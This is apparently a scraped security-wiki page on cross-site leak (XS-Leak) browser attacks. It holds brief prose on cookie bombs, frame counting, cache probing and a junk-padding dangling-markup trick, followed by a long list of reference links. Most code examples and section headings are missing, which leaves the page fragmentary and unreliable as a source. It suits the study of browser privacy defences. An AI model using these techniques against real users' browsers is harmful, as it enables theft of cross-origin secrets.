More info:

Code Example:

More info:

Code Example:

More info:

Code Example:

More info: (5.4),

Code Example:

More info:

Code Example:

If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies () so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script> will automatically send the cookies (so you can check for errors). An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup:

More info:

Code Example:

According to , Chrome's maximum URL length is 2MB.

More info:

Code Example:

More info:

Code Example:

More info:

Code Example:

An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed is used internally. There are that allow some control over the content such as zoom, view, page, toolbar where this technique could be interesting.

More info:

Code Example: , ,

HTMLMediaElement: This element reveals the media's duration and buffered times, which can be accessed via its API.

HTMLVideoElement: It exposes videoHeight and videoWidth. In some browsers, additional properties like webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, and webkitDecodedFrameCount are available, offering more in-depth information about the media content.

getVideoPlaybackQuality(): This function provides details about video playback quality, including totalVideoFrames, which can indicate the amount of video data processed.

HTMLImageElement: This element leaks the height and width of an image. However, if an image is invalid, these properties will return 0, and the image.decode() function will be rejected, indicating the failure to load the image properly.

More info: ,

Code Example:

More info:

Code Example:

According to , this is not working in headless Chrome.

:visited:

getComputedStyle():

mix-blend-mode:

More info:

Code Example:

More info:

Code Example:

More info:

Code Example: , (from )

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: (Comment from )

More info:

More info:

Code Example:

More info:

Code Example:

More info:

More info:

Summary: Use to measure the time it takes to perform a request. Other clocks could be used.

Code Example:

More info:

Summary: se to measure the time it takes to perform a request using window.open. Other clocks could be used.

Code Example:

Use to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Therefore, what you can do is to add a lot of junk chars (For example thousands of "W"s) to fill the web page before the secret or add something like <br><canvas height="1850px"></canvas><br>. Then if for example our injection appear before the flag, the image would be loaded, but if appears after the flag, the flag + the junk will prevent it from being loaded (you will need to play with how much junk to place). This is what happened in .

Some code example to exploit this:

If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the sumarized here:

There are mitigations recommended in also in each section of the wiki . Take a look there for more information about how to protect against these techniques.

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

Check the !

Join the 💬 or the or follow us on Twitter 🐦 .

Share hacking tricks by submitting PRs to the and github repos.

Use to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

🕸️
subscription plans
Discord group
telegram group
@hacktricks_live
HackTricks
HackTricks Cloud
https://github.com/cure53/HTTPLeaks
https://xsinator.com/paper.pdf
https://xsinator.com/
Trickest
performance.now()
Broadcast Channel API
Message Channel API
requestAnimationFrame
setTimeout
https://xsleaks.dev/docs/attacks/timing-attacks/clocks
https://www.usenix.org/conference/usenixsecurity19/presentation/staicu
https://xsleaks.dev/docs/attacks/error-events/
https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
Cookie Bomb + Onerror XS Leak
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
performance.now()
PerformanceLongTaskTiming API
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
performance.now example
performance.now + Force heavy task
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
SharedArrayBuffer clock
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
unload
beforeunload
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections
sandbox
JavaScript Execution XS Leak
https://xsleaks.dev/docs/attacks/browser-features/corb/
https://xsleaks.dev/docs/attacks/id-attribute/
https://xsleaks.dev/docs/attacks/experiments/portals/
https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
postMessage broadcasts
Trickest
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)
https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Payment%20API%20Leak
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
Event Loop Blocking + Lazy images
single-threaded event loop
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool Examples
https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Performance API
Resource Timing API
performance.getEntries
performance.getEntriesByName
performance.now()
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
https://xsinator.com/paper.pdf
https://xsleaks.github.io/xsleaks/examples/x-frame/index.html
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Redirect%20Start%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Duration%20Redirect%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
https://xsinator.com/testing.html#Cache%20Leak%20(POST)
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
https://bugs.chromium.org/p/chromium/issues/detail?id=828265
https://jsbin.com/nejatopusi/1/edit?html,css,js,output
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#CORS%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#SRI%20Error%20Leak
https://bugs.chromium.org/p/chromium/issues/detail?id=313737
https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html
https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
https://xsinator.com/testing.html#CSP%20Violation%20Leak
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events
https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
https://xsinator.com/testing.html#CSP%20Directive%20Leak
https://xsleaks.dev/docs/attacks/browser-features/corp/
https://xsinator.com/testing.html#CORP%20Leak
https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
https://xsinator.com/testing.html#CORB%20Leak
https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
https://xsinator.com/paper.pdf
https://xsleaks.dev/docs/attacks/window-references/
https://xsinator.com/testing.html#COOP%20Leak
https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
cookie bomb
https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium documentation
URL Max Length - Client Side
https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
https://xsinator.com/testing.html#Max%20Redirect%20Leak
https://xsleaks.dev/docs/attacks/navigations/
https://xsinator.com/testing.html#History%20Length%20Leak
https://xsleaks.dev/docs/attacks/frame-counting/
https://xsinator.com/testing.html#Frame%20Count%20Leak
Open URL Parameters
https://xsleaks.dev/docs/attacks/element-leaks/
https://xsleaks.dev/docs/attacks/element-leaks/
https://xsinator.com/testing.html#Media%20Dimensions%20Leak
https://xsinator.com/testing.html#Media%20Duration%20Leak
Read more about HTMLMediaElement
Read more about HTMLVideoElement
Read more about getVideoPlaybackQuality()
Read more about HTMLImageElement
https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle
https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
https://xsinator.com/testing.html#CSS%20Property%20Leak
https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
this
MDN Documentation
MDN Documentation
MDN Documentation
https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
https://xsleaks.dev/docs/attacks/navigations/#download-trigger
https://xsleaks.dev/docs/attacks/navigations/#download-bar
https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/
Gaining security and privacy by partitioning the cache
here
ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Trickest
Dangling Markup - HTML scriptless injection
this writeup
https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
solution of this writeup
Event Loop Blocking + Lazy images
Regular expression Denial of Service - ReDoS
CSS Injection
https://xsinator.com/paper.pdf
https://xsleaks.dev/
https://xsinator.com/paper.pdf
https://xsleaks.dev/
https://github.com/xsleaks/xsleaks
https://xsinator.com/
https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
subscription plans
Discord group
telegram group
@hacktricks_live
HackTricks
HackTricks Cloud
Trickest
Performance API
****
HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training GCP Red Team Expert (GRTE)
Automate OffSec, EASM, and Custom Security Processes | Trickest
Automate OffSec, EASM, and Custom Security Processes | Trickest
Automate OffSec, EASM, and Custom Security Processes | Trickest
Automate OffSec, EASM, and Custom Security Processes | Trickest
Automate OffSec, EASM, and Custom Security Processes | Trickest
Logo
Logo
Logo
Logo
Logo